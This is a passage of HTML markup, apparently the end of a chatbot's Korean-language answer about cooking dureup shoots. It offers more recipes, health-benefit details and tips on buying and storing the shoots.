data-sourcepos="60:1-60:34"><strong>이 외에도 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="62:1-65:0"> <li data-sourcepos="62:1-62:55"><strong>다른 두릅 요리 레시피:</strong> 두릅무침, 두릅 볶음 등 다양한 레시피를 알려드릴 수 있습니다.</li> <li data-sourcepos="63:1-63:45"><strong>두릅 효능:</strong> 두릅의 건강 효능에 대해 자세히 설명해 드릴 수 있습니다.</li> <li data-sourcepos="64:1-65:0"><strong>두릅 구매 및 보관 방법:</strong> 신선한 두릅을 고르고 보관하는 방법을 알려드릴 수 있습니다.</li> </ul><p data-sourcepos="66:1-66:34"><strong>지금 바로 봄 향기 가득한 두릅 요리에 도전해 보세요!</strong></p></div> </div></div>